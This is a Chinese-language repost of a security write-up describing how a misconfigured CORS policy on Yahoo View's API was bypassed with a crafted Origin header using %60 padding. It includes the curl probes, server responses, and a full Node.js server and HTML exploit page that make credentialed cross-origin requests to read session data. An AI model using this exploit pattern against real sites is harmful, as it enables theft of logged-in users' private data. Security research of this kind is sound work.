这篇文章将为大家详细讲解有关我如何绕过Yahoo以及View的CORS限制策略是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
由于Yahoo!View存在不规范的CORS方式,允许远程攻击者绕过其中的同源策略,通过特制请求绕过拟定页面内容限制,获取相应的目标主机返回响应。
CORS策略
通过Burp Suite被动监测功能发现,网站还对API https://api.view.yahoo.com发起请求,另外还存在跨域资源共享(CORS)策略。根据Mozilla开发者网络文档介绍,CORS使用附加HTTP头的方式,允许用户端获得同一服务器不同域资源的访问权限,它定义了在跨域访问资源时浏览器和服务器之间的通信机制。
当浏览器实施同源策略(Same-Origin)时,它只接收AJAX方式对同源资源的数据获取请求,而跨域资源共享(CORS)策略则允许在指定站点外进行数据共享。
Burp测试
在Burp中最开始的API请求如下:
GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
------- snip -------
origin: https://view.yahoo.com
服务端响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com
由于服务端对origin端有响应且允许请求带有验证信息(Access-Control-Allow-Credentials)的设置为True,这样一来,我们就能从其验证信息(如cookie)中窃取敏感信息了。
首先,我尝试向API发送一个名为sxcurity.pro的请求源:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://sxcurity.pro'
随后,服务端响应中不包含Allow-Origin and Allow-Credentials;接下来,我尝试向API发送一个名为view.sxcurity.pro的请求源:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.sxcurity.pro'
可还是没有任何响应;我突发奇想,能不能用view.yahoo.com.sxcurity.pro作请求源呢?:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com.sxcurity.pro'
但,还是没Access-Control-Allow-Credentials或Access-Control-Allow-Origin响应,请求源变化为view.yahoo.comsxcurity.pro也无济于事。正当我要放弃时,我想到了同时对两个请求源发起请求:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com sxcurity.pro'
出乎意料,服务端竟然有了响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro
我很好奇,试图想出一种方法,来把它变为一个有效的请求域名以便进行后期利用,我尝试向两个域名之间填充一些字符,以查看服务端的响应情况,如:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%sxcurity.pro'
服务端响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
------- snip -------
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com%sxcurity.pro
虽然有所响应,但由于请求源的域名无效,还是不能利用。
峰回路转
在一番请教之后,我的一个朋友告诉我,可以参考他在HackerOne提交过的一个漏洞,他在其中使用了URL编码符%60作为填充符,能有效绕过目标网站CORS策略,因此我豁然开朗,也在此利用%60作为填充符来试试:
curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%60cdl.sxcurity.pro'
这里竟然也能奏效:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro
于是乎,我在我的亚马逊 Route 53上设置了相应的通配符域名,打开Firefox浏览http://view.yahoo.com%60cdl.hack-r.be,不行,这….,由于不同浏览器保护策略不同,用Chrome、IE、Edge也都不行!用Mac的Safari竟然可以!!,虽然Apache会把它误认为是一个服务端错误。
随后,我想到了用NodeJS和index.html的配合来实现漏洞利用,NodeJS的server.js如下:
const http = require('http')
const port = 6299
const fs = require("fs");
const requestHandler = (request, response) => {
fs.readFile("index.html", function(err, data){
response.writeHead(200, {'Content-Type': 'text/html'});
response.write(data);
response.end();
});
}
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log('[+] ruh roh! something went wrong :(', err)
}
console.log(`[+] server is listening on port ${port}`)
})
index.html如下:
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body>
<center>
<h3>Yahoo CORs Exploit</h3>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
最终,可以成功通过浏览http://view.yahoo.com%60cdl.hack-r.be,获取到api.view.yahoo.com的一些相关信息。
关于我如何绕过Yahoo以及View的CORS限制策略是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/222111.html